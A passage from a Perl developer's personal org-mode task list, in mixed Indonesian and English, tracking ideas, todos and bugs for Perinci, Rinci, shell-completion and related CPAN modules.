[2014-06-05 Thu] perl module: modul(-modul) yg memanfaatkan Language::Expr, now that it's more robust\n- give Data-Template-Expr another try?\n- allow expression in default value of rinci arg spec?\n** TODO [2014-06-02 Sen] peri2doc: pod: belum show valid values (`in` clause) seperti di --help --verbose\n** IDEA [2014-05-30 Fri] perl module: selain Date::Extract, create module that can also extract {number} of various formats\n- sebenernya udah sih, Parse::Number::EN, Parse::Number::ID\n- ada opsi utk ektrak unit, satuan\n** IDEA [2014-05-30 Fri] perl module: selain Date::Extract, create module that can also extract {people's name?} of various formats\n** IDEA [2014-05-30 Fri] perl module: extract (indonesian) addresses from text\n** IDEA [2014-05-30 Fri] perl module: extract harga dan nama barang (sekaligus SKU/ISBN/dsb) from text\n- penting untuk ecommerce, accounting software, ...\n- kayaknya perlu sub2xmodul yang lebih spesifik\n** IDEA [2014-05-28 Wed] perl module: convert perl 5.20+ sub signature to/from rinci args metadata\n** IDEA [2014-05-28 Wed] pericmd: opsi --meta (or perhaps --dump-meta is better, less chance of collision) to dump Rinci metadata\nberguna misalnya untuk melihat deps (terutama pm, lalu disearch secara rekursif)\nuntuk menginstal prereq modul perl sebelum menjalankan skrip.\n\n: % script --dump-meta | install-perl-module-deps\n\ncontoh:\n\n:  deps => {\n:      all => [\n:          {pm => 'Foo'},\n:          {pm => 'Bar::Baz'},\n:          {func => '/Qux/some_func'},\n:      ],\n:  },\n\nbaik deps 'pm' maupun 'func' akan disearch secara rekursif. untuk 'pm': pertama\nkita coba install Foo jika belum terinstal (dan cpanm toolchain will take care\nof its deps). lalu, kita riap meta dari '/Foo/' dan semua func under '/Foo/*',\nuntuk mengecek apakah ada deps lain. untuk 'func': riap meta dan proses\ndeps-nya.\n\nuntuk simpelnya, saat ini kita hanya memroses deps 'pm', 'func', dan 'all'.\n\ntapi, seharusnya kalo kita udah modularize everything (semua skrip ditaruh di\nmodul/dist masing2x) gak perlu lagi beginian, kita gunakan saja cara standar\nCPAN (META.yml, dzil, etc). ini utk skrip yang satuan.\n** IDEA [2014-05-27 Tue] perl module: a 'file' utility using File::LibMagic\n** IDEA [2014-05-27 Tue] calculating how NIH (not invented here) syndrome a CPAN module is\n- saat gw melihat modul apa ya, kalo gak salah logging. atau App::CELL? di mana\n  recreate semuanya.\n- can the NIH-ness be easily calculated? susah kayaknya ya?\n** IDEA [2014-06-24 Sel] perl module: LinuxMint::Releases (seperti Debian::Releases, Ubuntu::Releases)\n** IDEA [2014-05-21 Wed] perl module: money/currency calculations\n- idenya memanfaatkan marpa, seperti App::datecalc.\n- contoh: 1020 USD + 230 GBP\n- ide: bisa specify time utk menentukan currency exchange, e.g. 1020 USD\n  (\@2013), 230 GBP (\@yesterday)\n- a way to express what currency we want the result in\n** IDEA [2014-05-21 Wed] perl module: physical units calculation and conversions\n- idenya memanfaatkan marpa, seperti App::datecalc.\n- contoh: 10kg in g\n- contoh: 10 watt + 230 hp in joules\n- bisa menghandle unit lengkap atau singkatan (e.g. J vs joule)\n** IDEA [2014-05-21 Wed] perl module: calculator yg bisa accept number with units\n- idenya memanfaatkan marpa, seperti App::datecalc.\n- contoh: 100 juta * 30\n- contoh: 100mil + 0,3bill\n** IDEA [2014-05-21 Wed] perl module: calculator rational numbers\n- idenya memanfaatkan marpa, seperti App::datecalc.\n- contoh: 1/2 + 3 1/2 (hasilnya 4)\n** IDEA [2014-05-16 Fri] 2blog: artikel utk compare jq vs yq (App::YAML::Filter)\n** IDEA [2014-05-15 Thu] bench: find the appropriate minimum time by first benchmarking 1x, then 10x if masih kurang, then 100x (or berapa gitu), ...\n- tujuannya biar gak usah specify \$count, karena awalnya gw bikin Bench itu utk\n  ini.\n** IDEA [2014-05-15 Kam] perl module: Process::priority (getpriority/setpriority via localizable var, a la File::chdir)\n** IDEA [2014-05-15 Kam] perl module: File::binmode (get/set current perlio layer (binmode) via localizable var, a la File::chdir)\n** IDEA [2014-05-15 Kam] perl module: ...:timezone (get/set current timezone via localizable var, a la File::chdir, lihat POSIX::tzset)\n** IDEA [2014-05-15 Kam] perl module: Process::nice (get/set nice level via localizable var, a la File::chdir)\n- utk set bisa pake POSIX::nice, tapi utk query current nice level pake?\n** IDEA [2014-05-14 Rab] instead of Rinci property drops_privileges, how about 'local \$> = blah' to make sure that perl restores old \$> upon exit?\n** IDEA [2014-05-02 Jum] perl module: file rotator yang hanya per periode aja, tanpa locking, supaya jauh lebih cepat dari fwr (File::Write::Rotate) yang lambat dan gak cocok dipake di production yg sampe >ribuan/sec\n** IDEA [2014-05-02 Jum] script list-stevens-upcoming-todos-and-anniversaries: redupkan jika todo masih jauh (ini bisa diimplement via ansitable's styleset)\n** IDEA [2014-05-02 Jum] script list-stevens-upcoming-todos-and-anniversaries: buat formatting sendiri, gak menggunakan perirf? biar lebih rapih, gabung jadi satu table?\n** BUG [2014-05-02 Jum] periga-argv strips quote, e.g. '\"a\"' jadi 'a'. contoh kasusnya gw lupa di mana, tapi ini mengganggu.\n** IDEA [2014-04-29 Sel] duxapp: skip wrapping?   :optimize:startup_overhead:\nmemalukan deh, startup overhead fungsi dux itu sekitar 0.26s :( gw sih inginnya\ndi bawah 0.1s (\"batas terasa instan\"), termasuk untuk --help.\n** IDEA [2014-04-29 Sel] dsah: date: support format ISO8601 (\"2014-04-29T01:02:03\")\n- ingat, format ISO8601 ini ada banyak lho variannya... kita pilih mensupport\n  satu atau beberapa varian aja.\n- ntar kalo butuh deh, ke depannya kemungkinan sih akan butuh\n** IDEA [2014-04-29 Sel] dsah: plc: return normalized datetime utk tipe date?\n- mempermudah fungsi agar langsung dapet\n- optimize juga, gak usah calculate coerce_date() 2x.\n- fungsi dapat melakukan gini: \$date = \$wrap_result{date} //\n  coerce_date(\$args{date}); jadi bisa avoid calculate 2x tapi juga jika fungsi\n  tidak diwrap masih bisa jalan.\n** TODO [2014-04-29 Sel] perisgen-acctbl: compile/optimize filter  :optimize:\n- kayaknya kalo harus melakukan ribuan request per second, akan keliatan deh\n  leletnya, apalagi saat ini setelah tipe date ditambahkan, jumlah operator dan\n  if cases jadi banyak.\n** IDEA [2014-04-29 Sel] fungsi utk normalize envelope result, perlu? [#C]\nsejauh ini belum ada indikasi perlu sih.\n** IDEA [2014-04-29 Sel] periswrap: precompile common schemas  :optimize:startup_overhead:\n- karena dari hasil benchmark (lihat notes/dev.org entri tgl [2014-04-26 ])\n  compile sah schema itu startup overhead-nya lumayan gede (mendekati 0.1s) maka\n  kita bisa gain jika avoid compiling schema dan precompile some common schemas.\n** IDEA [#B] [2014-04-29 Sel] progany-tpc: support multiline?\n** TODO [2014-04-20 Sun] dux: tweak: in -h, exclude --in and --out\n- perlu module peridocutil dulu, extract functionality ke sana.\n** TODO [2014-04-20 Sun] perlmp3tag: provide \$ALBUMARTIST, \$COMPOSER, \$PERFORMER (artist), \$ORCHESTRA, \$DISK\n- atau ganti jadi \$_->{artist}, etc.\n** IDEA [2014-04-18 Jum] scan_prereqs untuk Perl::PrereqScanner::Lite\n- aplikasi terpisah, bisa milih which module to use?\n- add option for exception (mis jangan scan *~, .build/, dsb)\n** TODO [2014-04-17 Thu] rename/extract is_xs from SHARYANTO::Module::Util to Module::DetectXS\n** IDEA [2014-04-16 Wed] ling-prereqs: replace Perl::PrereqScanner with Perl::PrereqScanner::Lite supaya lebih cepat [#C]\n- harus bikin bin/scan_prereqs, karena dist Perl-PrereqScanner-Lite tidak\n  menyediakan penggantinya\n** IDEA [2014-04-14 Mon] fatten: (or perhaps fatpacker?) option to do text compression first\n- tapi line number jadi kacau, biarin lah ya, ini pilihan.\n- alternatif:\n  + Compress::LZF_PP\n** IDEA [2014-04-12 Sab] 2write: something like a reading/architecture review like eric johnson did\nhttp://blog.kablamo.org/2014/04/08/read-plack-1/\n** IDEA [2014-04-10 Kam] app: trace-perlver [#C]\nselain pake Perl::MinimumVersion{,::Fast} yg melakukan lexica/static analyzer,\nkita juga bisa run script lalu mentrace penggunaan 'require/use 5.xxx'. bisa\ndilakuakn dengan override CORE::GLOBAL::require (seperti pendekatan\nDevel::EndStats dan App::tracepm). caveatnya: gak bekerja kalo ada kode\n'CORE::require 5.012' (seharunya jarange) atau ngeload juga modul yg override\nCORE::GLOBAL::require spt Devel::EndStats & App::tracepm::Tracer (saat ini belum\nsaling cooperate, seharusnya bisa sih dengan menyimpan stack old routines).\n\nentah apa gunanya saat ini\n\nref: http://perlmonks.org/?node_id=1080525\n** IDEA [2014-04-02 Rab] periswrap: alternatif data validator selain Sah/Data::Sah\nbuat mereka yang gak suka Sah, misalnya.\n\nbisa2x aja, misalnya pake Type::Tiny atau Moose types atau whatever. gak harus\ncompiled, di wrapper code kita bisa memanggil validator secara dinamik.\n\nschema di Rinci juga bisa diganti jika mau.\n\nbut so far i have no reason to do that. Sah fits me fine. belum ada validator\nlain yang lebih enak dan fleksibel.\n** IDEA [2014-04-02 Rab] fungsi utk sort org headings [#C]\n- by default adalah by its title, tapi juga bisa custom:\n: sort_org_headings(by => sub { (\$a->is_todo ?0:1) <=> (\$b->is_todo ?0:1) ||  # todo first\n:                               \$a->title->as_string cmp \$b->title->as_string },\n:                   include=>...);\n- see also Org::Parser::Tiny, rencana gw utk ngerjain ini secara cepat\n- org-mode udah punya C-c ^, jadi gak usah dulu deh\n\n** TODO [2014-12-28 Sun] riap-app: ctrl-c harusnya jangan langsung exit shell, tapi kembali ke prompt  :ux:\n** IDEA [2014-12-28 Sun] compclis: setiap script/fungsi bisa complete itself\n- ditambahkannya di level CLI aja, di konfigurasi DZP::ScriptFromFunc or\n  something, jadi misalnya fungsi complete_dist, di spek argumen 'word'-nya\n  ditambahin property 'completion' yang isinya adalah manggil fungsi\n  complete_dist itu sendiri. jadi:\n\n: complete-dist te<tab>\n\njuga bisa complete stuff. dan sebaiknya bisa baca argumen lainnya juga, mis:\n\n: complete-module --nofind-pm --find-pod PSG<tab>\n\ncukup gampang kok implemennya, mis rutin completion:\n\n: sub {\n:     my %args = \@_;\n:     Complete::Module::complete_module(\n:         find_pm=>\$args{args}{find_pm}, # dan cek semua argumen lain, dari args prop\n:         ...\n:         word=>\$args{word},\n:     );\n: }\n\n** BUG [2014-12-27 Sat] peri-run: example/help belum up to date, sekarang udah gak dikenali pake notasi Perl::Package maupun -l\n** BUG [2014-12-27 Sat] peri-run: completion gak jalan/error\n** BUG [2014-12-27 Sab] perialite: gak bisa find metadata for /Complete/Util/?\n: % complete-program\n: ERROR 500: No metadata for '/Complete/Util/complete_program'\n\ntapi kalo pake Perinci::CmdLine (bukan pericmd-lite), bisa:\n\n: % PERINCI_CMDLINE_ANY=Perinci::CmdLine complete-program fat\n: fatlabel   fatpack   fatten\n** BUG [2014-12-27 Sat] pws-comp-*: kok _testcomp dianggap juga bisa self-complete ya?\n- memang sih technically iya, tapi sebaiknya ada opsi utk skip ini\n** TODO [2014-12-26 Fri] shcompgen: support glsubc\n** TODO [2014-12-24 Wed] peri2doc: result: 'any' diubah jadi lihat of, mis: ['any' => of => ['str*', ['array*' => of=>'str'*]]] jadi 'str|array'\n** TODO [2014-12-23 Sel] genshcomp: terima hint bahwa ini getopt-long-based or pericmd-based, walaupun di skripnya ga ada use Getopt::Long atau use Perinci::CmdLine\n- contoh: riap (di bin/riap cuma ada: use App::riap; \$shell=App::riap->new;\n  \$shell->cmdloop; ini tetep bisa kita dump kok.\n** IDEA [2014-12-23 Sel] orgutils: list-org-todos: option to snooze some notification for X days\n** BUG [2014-12-22 Sen] riap-app: muncul warning fail parse json (dari periga-argv) saat 'set output_format json'\n- mungkin per_arg_{json,yaml} bisa dimatikan di sini?\n** BUG [2014-12-22 Sen] riap-app: setelah 'set output_format json', outputs jadi pada empty\n- ls, set, execute function semua hasilnya empty, cuma 'CMD --help' atau 'help'\n  aja yang muncul outputnya (json diikuti dengan teks)\n- setelah dibalikin lagi 'set output_format text' barulah normal kembali\n** TODO [2014-12-21 Sun] refactor: use Getopt::Long::Dump & Perinci::CmdLine::Dump di modul2x yg masih pakai *::Patch::DumpAndExit\n- log ::\n  + [2014-12-21 Sun] done pwp-ri, tinggal shcompgen/App-GenBashCompleter\n** TODO [2014-12-20 Sab] riap-app: make \"file/dir\" completion case-insensitive [#C]\n- agak ribet nih, sama seperti waktu kita support ci=1 di\n  Complete::Util::complete_file, kita harus iterate level by level. but it's so\n  convenient :)\n- log ::\n  + [2014-12-28 Sun] gw udah buat Complete::Riap (berbasis Complete::Path) to\n    make this simple, tapi ternyata agak ribet juga menggunakannya di riap-app\n  + [2014-12-28 Sun] tapi kemaren gw menyadari, sekarang *udah* jadi\n    case-insensitive, tanpa gw nyadar. kayaknya sejak Complete 0.06 (di mana\n    setting ci, termasuk utk complete_array_elem, defaultnya ngikut ke setting\n    \$Complete::OPT_CI) dan defaultnya 1.\n** TODO [2014-12-19 Fri] pericmd-lite: complete --config-path dengan dir atau *.conf saja\n** BUG [2014-12-19 Fri] trash-u: completion bug: trash-u <tab> belum complete files\n- kemungkinan karena pake default_subcommand\n- completion-nya masih menampilkan option + subcommands, berarti belum ngeh\n  dengan default_subcommand\n** TODO [2014-12-19 Fri] pericmd-lite: refactor: cara menampilkan usage disamakan dengan pericmd (ditarik ke pericmd-base)\n- di tiap common_opts ada key usage dan order\n** TODO [2014-12-16 Tue] dzp-ri-absfmeta, pwp-ri, shcompgen, app-genbashcompleter: recognize NO_PERICMD_SCRIPT tag\n** TODO [2014-12-15 Mon] rename App-Gen{Bash,Shell}Completer\n** TODO [2014-12-15 Mon] merge App-GenShellCompleter to shcompgen?\n- or at least shcompgen can call App::GenShellCompleter\n** TODO [2014-12-14 Sun] rename App-chart, karena saat ini gak visible, sudah ada yg menempati 'chart'\n- log ::\n  + [2014-12-06 ] gw ngirim email ke santex\@cpan.org, belum ada balasan as of\n    [2014-12-17 Wed]\n** IDEA [2014-12-13 Sat] shcompgen: allow listing (and removing?) completion scripts not generated by us\nyang amannya sih list doang, misalnya: list --all.\n** TODO [2014-12-13 Sat] shcompgen: jangan support dulu jika subcommands dynamic (coderef)\n** TODO [2014-12-13 Sat] shcompgen: support fish dan zsh\n- kode dari peris2fishcomp & pericmdutil-fishcomp harus digabung\n** BUG [2014-12-13 Sat] periscomp, compgl: completion of short option belum benar\n- harusnya -a -> -ap -> -apq (semua short option yang belum dimention dan tidak\n  require args), ini langsung complete -a <spasi>.\n** TODO [2014-12-11 Thu] distutils: POD: add some tips like how to list dists not in CPAN, list dists by certain author...\n** TODO [2014-12-11 Thu] Data::Dmp should by default show stringy number with quote .e.g \"123\" and nummy numbers without quotes\n** TODO [2014-12-11 Thu] convert (extend) set-scrsav-to to perl-App-ScreensaverCLI (bin: screensaver-cli)\n- disediakan juga CLI2x lama buat convenience: set-screensaver-timeout,\n  get-screensaver-timeout, activate-screensaver* (new).\n- CLI utama: screensaver-cli dengan subcommands: set-timeout, get-timeout,\n  lock/activate, unlock, gui (bring up preference), type (hanya check tipe\n  screensaver)\n- refs:\n  + cara lock di kde skr:\n    qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock\n  + skr nama binarynya: /usr/lib/kde4/libexec/kscreenlocker_greet\n- common opt: --screensaver (or --type?) to override detection\n** TODO [2014-12-11 Thu] ddc: pakai Color::Theme (sebagai pembuktian konsep Color::Theme juga)\n** TODO [2014-12-09 Tue] peris2{fish,zsh,bash}comp: support cli with subcommands?\n** BUG [2014-12-05 Fri] pmutils/periscomp: saat complete module, direktori (yg bukan valid module prefix) juga terinclude?\ndi pmdoc etc, dir keinclude juga, contoh ada foo/ dan foo-bar/ di curdir, kenapa\npmdoc foo<tab> tetep complete foo-bar/ ya?, tapi kalo pake foo-, gak.\n\ntrus kalo pmdoc <tab> dan di curdir ada direktori2x seperti -a, +b, (c, itu\nsemua diinclude! sebenernya nyampe sampe complete_file gak sih?\n** TODO [2014-12-03 Wed] [#C] pericmd-classic: --help: underline entity in --opt=entity\n- di pericmd-lite agak ribet karena color codes membuat alignment string agak\n  ribet dan harus pake Text::ANSI::Util dsb, skip aja dulu di pericmd-lite.\n** TODO [2014-12-02 Sel] periobj: ganti langprop dengan altprop yang bisa properly find alternates, bukan cuma bahasa aja\n- misalnya kita specify altprop({lang=>\"id\"}, \"summary\") dia bisa mencari di\n  summary.alt.lang.id_ID dan summary.alt.lang.id. altprop({lang=>\"id\",\n  bool=>\"not\"}, \"summary\") mencari di summary.alt.bool_lang.not.id_ID lalu\n  summary.alt.bool_lang.not.id. dst.\n** TODO [2014-12-02 Sel] peris2clidocdata: pakai altprop() & by default search for alt.env.cmdline summaries and descriptions, but if those do not exist revert to default\n- setelah periobj punya altprop().\n- jadi pertama nyari summary ke summary.alt.env.cmdline, baru summary. jika yang\n  not, maka pertama cari di summary.alt.bool_env.not.cmdline, jika gak ada baru\n  cari di summary.alt.bool.not.\n** TODO [2014-12-01 Mon] computil: complete_file: opsi utk suffix atau wildcard (simpler than coderef)\n** TODO [2014-12-01 Mon] perl module: Complete::Hostname\n** TODO [2014-12-01 Mon] perl module: Complete::Net::Interface\n** TODO [2014-12-01 Mon] perl module: Complete::PATHVar (dari daftar item di PATH)\n- log ::\n  + [2014-12-28 Sun] rename dari Complete::Path jadi Complete::Var::PATH?\n  + [2015-01-10 Sab] rename jadi Complete::PATHVar\n** TODO [2014-11-22 Sab] peris2clidocdata, ri: provide category sorting options\n- kategori tertentu yang lebih penting bisa ditampilkan di awal, gak harus\n  selalu alfabetikal. contoh di fatten:\n\n  : Debugging options\n  : Module selection options\n  : Options\n  : Output options\n\n  sebaiknya (other terakhir, output duluan baru module selection, dsb):\n\n  : Output options\n  : Debugging options\n  : Module selection options\n  : Other options\n\n- demikian juga opsi tertentu contoh di fatten:\n  : --stripper\n  : --no-stripper-comment\n  : --no-stripper-pod\n  : --no-stripper-ws\n\n  harusnya (opsi --stripper dulu dong ya disebutkan, baru )\n\n  ini bisa pakai links misalnya, jadi stripper_comment, stripper_pod,\n  stripper_ws kan link ke 'stripper'. pakai sorting berdasarkan dependency.\n** TODO [2014-11-22 Sab] pwp-ri: OPTIONS for script: tweak: default jika pendek inline\ninstead of selalu menampilkan verbatim paragraph:\n\n Default:\n\n  \"-\"\n\njika default pendek dan tidak mengandung karakter \"<<\" atau \">>\", inlinekan aja.\n\n Default: C<<\"-\">>.\n\ndan jika default berupa string yang tidak mengandung 'karakter aneh', gak usah\npake quote (gak usah didump sekalian):\n\n Default: C<->.\n Default: C</usr/bin/perl>\n Default: C<foo bar>\n\n** TODO [2014-11-22 Sab] pwp-ri: OPTIONS for script: tweak: 'in' jika pendek (atau jika berupa list of scalars dengan bukan karakter aneh)\n- tanpa quotes\n- dan sort?\n- ini nanti dipake juga saat produce html/web-based help\n** TODO [2014-11-16 Sun] tfrag: opsi replace_attrs=>1 di insert_fragment(), jadi gak usah insert_fragment() + set_fragment_attrs(), cukup 1x operasi aja\n** TODO [2014-11-06 Kam] periscomp: don't convert wildcard when completing filenames\n- e.g. bash lets you do this:\n\n: cmd ~/Doc*/Pic*/foo<tab>\n\ncan complete 'foo' in ~/Documents/Pictures/ when that is the only directory that\nmatches. the wildcard doesn't get converted. currently periscomp does this:\n\n: cmd Doc*\n\neither will complete to ['Documents'] or (if there is more than one match\n['Documents','Docopt'], will change the word from 'Doc*' to 'Doc' (the *\ndisappears).\n** TODO [2014-10-30 Thu] reconcile dux's way of doing input stream (and output stream) and rinci's\n- enable property cmdline_src=>'stdin_or_files' and stream=>1 di args{in}.\n- pericmd standar by default mengeset args{in} sebagai filehandle atau array tie\n  diamond, ganti opsi x.dux.... menjadi properti standar rinci (utk mengatur\n  opsi apakah tiap elemen array dichomp, lalu apakah utf8).\n- bagaimana dengan output stream? boleh tetap dux pake args{out}, tapi nanti\n  oleh pericmd::dux ditranslate jadi [200,OK,\$args{out},{stream=>1}]\n** TODO [2014-10-30 Thu] periahc: (if periahs hasn't supported streaming input yet) support streaming input by converting it into multiple calls with partial input data\n** TODO [2014-10-30 Thu] periahs: support partial input data\n- in ParseRequest middleware, check Content-Range HTTP req header and set\n  arg_{len,part_start,part_len} Riap request keys\n- in Respond, when calling riap client, pass it to client\n** TODO [2014-10-30 Thu] perias: support partial input data\n- pass arg_{len,part_start,part_len} Riap request keys as special arguments\n  -arg_{len,part_start,part_len} for function\n** TODO [2014-10-30 Thu] perias: support partial result\n- translate Riap request keys res_part_start, res_part_len as special arguments\n  -res_part_start, -res_part_len\n** TODO [2014-10-30 Thu] periahs: support partial result\n- pass HTTP Range (request range to server) to Riap request keys:\n  res_part_{start,len}\n- translate result metadata property len, part_start, part_len to\n** TODO [2014-10-30 Thu] periahs: support streaming input\n- dengan membaca request client dengan header Transfer-Encoding: chunked, lalu\n  call function, dengan nilai argumen adalah objek yang dapat menerima method\n  get() utk get data. method ini akan membaca psgi.in for more data (more\n  chunks) dan baru undef jika dapat chunk dengan size 0 (yang berarti chunked\n  transfer berakhir).\n** TODO [2014-10-30 Thu] periahs: support streaming output\n- fungsi menghasilkan [200, OK, \$fh, {stream=>1}]. ini ditranslate oleh server\n  dengan return satu chunk dulu (dengan some marker?) [200, OK, \"stream\",\n  {stream=>1}] lalu di chunk2x berikutnya mengirimkan data stream. riap::http\n  client akan menerjemahkan \"stream\" menjadi objek yang dapat dipanggil utk get\n  more data from chunk responses.\n- note: chunked transfer juga digunakan oleh logging, jangan sampe bentrok.\n** TODO [2014-10-29 Rab] pericmd*: support partial sending of argument jika input dari stdin/file\n- saat ini supportnya utk streaming input/output aja, sebab kalo\n  partial/chunking berarti harus melakukan repeated calls, dan ini mengubah\n  struktur flow framework, susah.\n** BUG [2014-01-27 Mon] idphone: extract country code tidak benar, mis: +628111234567 -> +628\n** WISHLIST [2014-01-27 Mon] idphone: create interface for Number::Phone instead\n** TODO [2014-10-11 Sab] periswrap: pesan error belum translate, e.g.\n: % LANG=id_ID.UTF-8 peri-run /Perinci/Examples/SubMeta/register_donors --date 2014-10-11\n: ERROR 400: Invalid value for argument 'donor': Panjang harus minimal 1\n\npesan error dari Data::Sah sudah translated, tapi periswrap belum translate\npesan error. kalo pericmd ingin jadi fully translated library, periswrap juga\nharus generate translated error message.\n** TODO [2014-09-11 Thu] periahs: when logging, redact function arguments which has is_password property value of true\n** TODO [2014-09-09 Tue] perl module: release my utility 'linefreq' as a module\n- add option moving average\n- add option update frequency, jadi gak blocking I/O nunggu tiap line\n- add option utk interactive (mis: bisa dipake utk ngitung detak jantung, kita\n  hit spacebar tiap kali denger detak jantung), tapi bisa juga sih dengan:\n  'cat | linefreq' trus kita press Enter each time.\n- log ::\n  + [2014-12-14 Sun] kalo gak salah ada deh utility sejenis, baca di reddit,\n    python-based.\n** TODO [2014-09-03 Wed] periahc: replace LWP with HTTP::Tiny?\n- HTTP::Tiny juga mendukung callback utk setiap chunk of response\n** TODO [2014-09-03 Wed] add tests for perialite\n** TODO [2014-08-28 Thu] orgp: support parallel todo sets [#C]\n- saat ini sih gak terlalu pengaruh, hanya pengaruh utk cycling aja.\n: #+TODO: A B | C\n: #+TODO: D E | F\n\norgp sudah bisa memparsing semua ini dan hasilnya todo_states => [A,B,D,E] dan\ndone_states=>[C,F]. karena kita tidak menyediakan method utk cycling, maka gak\nada gunanya juga tau sets dari mana.\n** IDEA [2014-08-27 Wed] TableData::Object: tambah fungsionalitas\n- cli: tabledata (App::tabledata?)\n  + sort by column (tabledata --sort col1 --sort -col2; ada opsi utk force asciibetical or numerical ordering, maybe: --sort col1/num, --sort -col2/ascii)\n  + reorder columns\n  + print column names\n  + filter/print some columns only\n  + filter rows\n- cli bisa output dalam berbagai format dan form (--as-aoaos, --as-aohos)\n- streaming table?\n** IDEA [2014-08-27 Wed] perl module: Config::IOD::Functions\n- read_iod, get_iod_key, get_iod_section, list_iod_sections, ...\n- one-off, no-caching, mirip Unix::Passwd::File\n- nanti App::IODUtils bisa dipindah untuk pake ini\n** TODO [2014-08-24 Sun] pmutils: pmdist utk find out dist of module (via remote request ke metacpan etc, tapi ada trik utk skip jika kita bisa search di pod mis utk my dists or cjm's)\n** TODO [2014-08-24 Sun] pmutils: pmchanges utk liat changes file\n** TODO [2014-08-21 Thu] pericmd: bisa pakai simpler formatter yg dipakai ketimbang perirf, karena salah satu yg bikin lelet adalah si dpfc (ansitable)\ncontoh:\n: % LOG=0 perl -MDE -Ilib -MPerinci::CmdLine -E'Perinci::CmdLine->new(url=>\"/Perinci/Examples/gen_array\")->run' -- 20\nbutuh waktu 0.230s, 76775 baris\n: % LOG=0 perl -MDE -Ilib -MPerinci::CmdLine -E'Perinci::CmdLine->new(url=>\"/Perinci/Examples/gen_array\")->run' -- --format json 20\nbutuh waktu 0.162s, 53230 baris\n** TODO [2014-08-14 Thu] use dcstruct in dfpc\n** TODO [2014-08-04 Sen] perisgen-fromclass: use Perinci::Sub::Gen (common args), add ability to install\n** TODO [2014-07-28 Sen] peri2doc: pod: generate =head1 SUBCOMMANDS section for pericmd script\n- to do this, we can install a temporary patch for Perinci::CmdLine,\n- when script runs \$cmd->run(), instead of running, dump the object.\n** TODO [2014-07-24 Kam] do lots of cpan releases (and remove releases) for cpan day <2015-08-16 Aaa +1y -4d>\n- log ::\n  + [2014-08-16 ] made 52 releases (ditahan dulu selama 2 hari), kebetulan gw\n    baru bikin dzp-ri-sffunc jadi banyak dist yg diupdate.\n** TODO [2014-07-25 Fri] le: to generate javascript string literal, just use JSON (or use my String::JS)\n** TODO [2014-11-09 Sun] pericmd-lite: support logging to file\n- nanti jadi bisa switch: rsybak pake pericmd-lite\n- utk fb-mand, fb-bca perlu support logging to dir too\n** BUG [2014-07-18 Fri] perias: 'func --help' still works even though the function is not found\nconoth:\n:  /> test_completion -h\n:  [ok... keluar pesan help walau cuma --help & --verbose & --json]\n:  /> test_completion\n:  ERROR: Can't find function ...\n\nkarena memang adanya di /Perinci/Examples/, tapi help belum mengecek ini\n\nUPDATE [2014-08-24 Sun] hanya terjadi untuk top-level, contoh:\n\n:  /> x -h\n:  [OK]\n:  /> Foo/x -h\n:  [NOT FOUND]\n:  /> cd Foo\n:  /Foo> x -h\n:  [NOT FOUND]\n:  /Foo> /x -h\n:  [OK]\n:  /Foo> ../x -h\n:  [OK]\n\nternyata ini dari Perinci::Access::Schemeless memang keluarnya request(meta =>\n\"/x\") itu ok, jadi bukan bug App:riap.\n** TODO [2014-07-16 Wed] pericmd: cmdline_src belum sepenuhnya diimplement [#C]\n** TODO [2014-07-10 Thu] use Data::Check::Structure in these modules [#C]\nperl-App-chart/lib/App/chart.pm\nperl-Data-Format-Pretty-Console/lib/Data/Format/Pretty/Console.pm\nperl-Perinci-Sub-Gen-AccessTable/lib/Perinci/Sub/Gen/AccessTable.pm\n** TODO [2014-06-24 Sel] benchmark plack + starman/gepok/dsb yg empty berapa\nsupaya kita tau standar/what to shoot for utk periahs.\n** TODO [2014-06-23 Mon] pericmd/peri2doc: tambah keterangan gimana cara mengaktifkan tab completion di generated script's POD\n** BUG [2014-06-20 Fri] dsah: gagal/salah dalam mengeset locale\nada pesan error ini di log periahs:\n\n: [pid 28341] [2014/06/20 09:21:51] Data/Sah/Lang/C cannot be found, falling back to en_US\n\nkayaknya cara ngeset locale salah, jadi nama package terbawa gitu.\n** TODO [2014-06-13 Fri] peri2doc improvements\n- tambahin dokumentasi cara pake env vars (VERBOSE, QUIET, DEBUG, TRACE, ...) di\n  semua cmdline script, gak semua orang tahu cara pake Log::Any::App. gak usah\n  add jika LAA dimatikan.\n- (nanti, jika sudah diimplementasi) tambahin dokumentasi cara pake env vars\n  CMDLINE_*\n** TODO [2014-05-28 Wed] perl module: dist zilla plugin utk insert SLIF grammar (see MarpaX::Simple)\n- untuk mengirit sedikit startup overhead\n** BUG [2014-05-27 Tue] peritm: kalo ada action yang modulnya gak keinstal, maka pesan error cryptic\n: \$ setup-symlinks-in-my-home --trace\n: ERROR 532: Perinci::Tx::Manager::__ANON__ failed (at /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/site_perl/5.18.2/Perinci/Tx/Manager.pm line 1007)\n:   ERROR 532: Perinci::Tx::Manager::_action_loop failed (at /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/site_perl/5.18.2/Perinci/Tx/Manager.pm line 1090)\n\npesan log trace juga kurang membantu. ketika di --dry-run baru ketauan:\n\n: \$ setup-symlinks-in-my-home --dry-run\n: ERROR 500: Function died: Can't locate Setup/File.pm in \@INC (you may need to install the Setup::File module) (\@INC contains: /mnt/home/s1/repos/priv-scripts/lib /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/site_perl/5.18.2/x86_64-linux /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/site_perl/5.18.2 /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/5.18.2/x86_64-linux /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/5.18.2 .) at /home/s1/bin/steven/setup-symlinks-in-my-home line 29. (at /home/s1/perl5/perlbrew/perls/perl-5.18.2/lib/site_perl/5.18.2/Perinci/Access/Schemeless.pm line 463)\n** TODO [2014-05-16 Fri] perirf: cari pengganti YAML::Tiny::Color, karena gak support circular references\n** TODO [2014-05-28 Wed] peri2doc: POD/text: gak usah generate section result jika tidak ada summary\ndi POD, schema result sudah terlihat dari teks 'func(%args) -> int' misalnya.\n** TODO [2014-05-17 Sab] peri2doc: wording saat menjelaskan func result\njika tidak result_naked:\n\n: enveloped (lalu jelaskan apa itu enveloped)\n: actual result (3rd element)\n\njika result_naked, langsung jelaskan resultnya.\n** IDEA [2014-05-17 Sab] peri2doc: template di summary/description\n{{func}} (atau {{me}}?) direplace jadi function/program/script tergantung apakah\ndokumentasi adalah utk cmdline script atau fungsi (POD) {{arg:x_y}} diganti\ndengan `option --x-y` jika cmd, `x_y argument` for POD, dan link `x_y` untuk\ndokumentasi 